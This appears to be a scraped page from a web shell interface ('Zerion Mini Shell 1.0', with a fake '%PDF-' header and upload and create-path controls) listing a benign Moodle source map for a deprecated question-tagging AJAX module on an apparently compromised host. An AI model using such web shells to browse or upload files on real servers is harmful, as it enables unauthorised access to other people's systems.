%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/vacivi36/ava/question/amd/build/
Upload File :
Create Path :
Current File : //home2/vacivi36/ava/question/amd/build/repository.min.js.map

{"version":3,"file":"repository.min.js","sources":["../src/repository.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * A javascript module to handle question ajax actions.\n *\n * @deprecated since Moodle 4.0\n * @todo Final deprecation on Moodle 4.4 MDL-72438\n * @module     core_question/repository\n * @copyright  2017 Simey Lameze <lameze@moodle.com>\n * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\ndefine(['jquery', 'core/ajax'], function($, Ajax) {\n\n    /**\n     * Submit the form data for the question tags form.\n     *\n     * @method submitTagCreateUpdateForm\n     * @param  {number} questionId\n     * @param  {number} contextId\n     * @param {string} formdata The URL encoded values from the form\n     * @returns {promise}\n     */\n    var submitTagCreateUpdateForm = function(questionId, contextId, formdata) {\n        window.console.warn('warn: The core_question/repository has been deprecated.' +\n            'Please use qbank_tagquestion/repository instead.');\n        var request = {\n            methodname: 'core_question_submit_tags_form',\n            args: {\n                questionid: questionId,\n                contextid: contextId,\n                formdata: formdata\n            }\n        };\n\n        return Ajax.call([request])[0];\n    };\n\n    return {\n        submitTagCreateUpdateForm: submitTagCreateUpdateForm\n    };\n});\n"],"names":["define","$","Ajax","submitTagCreateUpdateForm","questionId","contextId","formdata","window","console","warn","request","methodname","args","questionid","contextid","call"],"mappings":";;;;;;;;;AAwBAA,kCAAO,CAAC,SAAU,cAAc,SAASC,EAAGC,YA0BjC,CACHC,0BAhB4B,SAASC,WAAYC,UAAWC,UAC5DC,OAAOC,QAAQC,KAAK,+GAEhBC,QAAU,CACVC,WAAY,iCACZC,KAAM,CACFC,WAAYT,WACZU,UAAWT,UACXC,SAAUA,kBAIXJ,KAAKa,KAAK,CAACL,UAAU"}

Zerion Mini Shell 1.0